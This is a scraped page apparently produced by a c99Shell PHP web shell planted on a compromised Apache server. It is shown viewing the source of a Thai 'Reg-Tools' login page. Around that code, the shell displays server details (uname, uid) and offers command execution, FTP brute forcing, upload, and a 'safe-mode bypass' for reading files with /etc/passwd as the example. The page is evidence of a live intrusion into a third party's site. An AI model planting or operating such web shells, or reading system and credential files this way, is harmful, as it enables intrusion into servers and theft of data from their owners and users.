!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/reg-tools/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     login.php (8.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// -- Excel export

setlocale(LC_ALL'en_US.UTF-8');
session_start();
session_destroy();

header("content-type: text/html; charset=UTF-8");
include(
"include/class.mysqldb.php");
include(
"include/config.inc.php");

?>

<html>

<head>
    <title>Reg-Tools</title>

    <link rel="stylesheet" href="https://coliff.github.io/bootstrap-show-password-toggle/css/show-password-toggle.css">

    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-gH2yIJqKdNHPEq0n4Mqa/HGKIhSkIHeL5AyhkYV8i59U5AR6csBvApHHNl/vI1Bx" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.5.0/font/bootstrap-icons.css">

    <!-- Favicons -->
    <!--<link rel="apple-touch-icon" href="https://getbootstrap.com/docs/5.0/assets/img/favicons/apple-touch-icon.png" sizes="180x180">
    <link rel="icon" href="https://getbootstrap.com/docs/5.0/assets/img/favicons/favicon-32x32.png" sizes="32x32" type="image/png">
    <link rel="icon" href="https://getbootstrap.com/docs/5.0/assets/img/favicons/favicon-16x16.png" sizes="16x16" type="image/png">
    <link rel="manifest" href="https://getbootstrap.com/docs/5.0/assets/img/favicons/manifest.json">
    <link rel="mask-icon" href="https://getbootstrap.com/docs/5.0/assets/img/favicons/safari-pinned-tab.svg" color="#7952b3">
    <link rel="icon" href="https://getbootstrap.com/docs/5.0/assets/img/favicons/favicon.ico">-->
    <meta name="theme-color" content="#7952b3">

    <!-- Custom styles for this template -->
    <link href="https://getbootstrap.com/docs/5.0/examples/sign-in/signin.css" rel="stylesheet">

    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Sarabun:wght@100;400&display=swap" rel="stylesheet">
    <style type="text/css">
        body {
            font-family: 'Sarabun', sans-serif;
        }

        .bd-placeholder-img {
            font-size: 1.125rem;
            text-anchor: middle;
            -webkit-user-select: none;
            -moz-user-select: none;
            user-select: none;
        }

        @media (min-width: 768px) {
            .bd-placeholder-img-lg {
                font-size: 3.5rem;
            }
        }
    </style>



</head>

<body>
    <div id="modalError" class="modal fade">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header flex-column">
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                    <div class="icon-box">
                        <i class="bi bi-x-circle" style="color:red; font-size:70px;"></i>
                    </div><br />
                    <h4 class="modal-title text-center">Error</h4>
                </div>
                <div class="modal-body text-center">
                    <p>ข้อมูลไม่ถูกต้อง ไม่สามารถเข้าสู่ระบบได้</p>
                </div>
                <div class="modal-footer justify-content-center">
                    <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
                </div>
            </div>
        </div>
    </div>

    <main class="form-signin">
        <form name="loginForm" id="loginForm" action="javascript:checkLogin();" class="row g-1 needs-validation" novalidate>
            <!--<img class="mb-4" src="https://getbootstrap.com/docs/5.0/assets/brand/bootstrap-logo.svg" alt="" width="72" height="57">-->
            <!--<img class="mb-4" src="https://images.unsplash.com/photo-1513542789411-b6a5d4f31634?ixlib=rb-1.2.1&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&auto=format&fit=crop&w=1374&q=80" alt="" width="72" height="57">-->
            <!--<image class="rounded mx-auto d-block" src="https://images.unsplash.com/photo-1489875347897-49f64b51c1f8?ixlib=rb-1.2.1&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&auto=format&fit=crop&w=1470&q=80" height="200"/>-->
            <div class="col-md-12 text-center">
                <h1 class="h3 mb-3 fw-normal">Reg-Tools</h1>
            </div>
            <div class="col-md-12">
                <div class="form-floating">
                    <input type="text" class="form-control" name="user" id="floatingInput" placeholder="UMS Username" required />
                    <label for="floatingInput">Username</label>
                    <div class="invalid-feedback">
                        กรุณากรอกข้อมูลให้ถูกต้อง
                    </div>
                </div>
            </div>
            <div class="col-md-12">
                <!--<div class="form-floating">
                    <input type="password" class="form-control" name="pass" id="floatingPassword" placeholder="Password" required />
                    <label for="floatingPassword">Password</label>
                    <div class="invalid-feedback">
                        กรุณากรอกข้อมูลให้ถูกต้อง
                    </div>
                </div>-->
                <div class="form-floating">                    
                        <input type="password" id="floatingPassword" name="pass" autocomplete="current-password" class="form-control" spellcheck="false" autocorrect="off" autocapitalize="off" placeholder="Password" required>
                        <label for="floatingPassword">Password</label>
                        <button id="toggle-password" type="button" class="d-none" aria-label="Show password as plain text. Warning: this will display your password on the screen.">
                        </button>
                        <div class="invalid-feedback">
                            กรุณากรอกข้อมูลให้ถูกต้อง
                        </div>
                </div>
            </div>

            <div class="col-md-12">
                <input type="hidden" name="action" value="login" />
                <button class="w-100 btn btn-lg btn-primary" id="btnLoginSubmit" type="submit">Log in</button>
            </div>
            <div class="col-md-12 text-center">
                <p class="mt-5 mb-3 text-muted">&copy; 2022 Jiroat Sritrai</p>
            </div>
        </form>
    </main>


    <script src="https://coliff.github.io/bootstrap-show-password-toggle/js/show-password-toggle.min.js" async></script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>

    <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.5/dist/umd/popper.min.js" integrity="sha384-Xe+8cL9oJa6tN/veChSP7q+mnSPaj5Bcu9mPX5F5xIGE0DVittaqT5lorf0EI7Vk" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0/dist/js/bootstrap.min.js" integrity="sha384-ODmDIVzN+pFdexxHEHFBQH3/9/vQ9uori45z4JjnFsRydbmQbmL5t1tQ0culUzyK" crossorigin="anonymous"></script>

    <script>
        $(document).ready(function() {
            //$('#modalError').modal("toggle");
        })

        function checkLogin() {

            var $this = $("#btnLoginSubmit"); //submit button selector using ID
            var $caption = $this.html(); // We store the html content of the submit button
            var form = "#loginForm"; //defined the #form ID
            var formData = $(form).serializeArray(); //serialize the form into array
            //var route = $(form).attr('action'); //get the route using attribute action
            var route = "./api/checkLogin.php";

            //alert("call insert function");
            //$('#modalDel').modal().toggle();

            // Ajax config
            $.ajax({
                type: "POST", //we are using POST method to submit the data to the server side
                url: route, // get the route value
                data: formData, // our serialized array data for server side
                beforeSend: function() { //We add this before send to disable the button once we submit it so that we prevent the multiple click
                    $this.attr('disabled', true).html("Processing...");
                },
                success: function(response) { //once the request successfully process to the server side it will return result here
                    $this.attr('disabled', false).html($caption);

                    // Reload lists of employees
                    //getDataAll();
                    //window.location.href='./?page=editCurriculum';
                    //$('#curStrucList').DataTable().ajax.reload();

                    // We will display the result using alert
                    //alert(response);

                    // Reset form
                    //resetForm(form);

                    // Close modal
                    //$('#addCurStruc').modal().hide();
                    //$(".modal-backdrop").remove();                    
                    //$(".modal-backdrop").remove();

                    if (response == "Login success") {
                        window.location.href = "./index.php";
                    } else {
                        //window.location.href = "./index3.php";
                        $('#modalError').modal("toggle");
                    }
                },

            });
        }

        (() => {
            'use strict'

            // Fetch all the forms we want to apply custom Bootstrap validation styles to
            const forms = document.querySelectorAll('.needs-validation')

            // Loop over them and prevent submission
            Array.from(forms).forEach(form => {
                form.addEventListener('submit', event => {
                    if (!form.checkValidity()) {
                        event.preventDefault()
                        event.stopPropagation()
                    }

                    form.classList.add('was-validated')
                }, false)
            })
        })()
    </script>
</body>

</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.007 ]--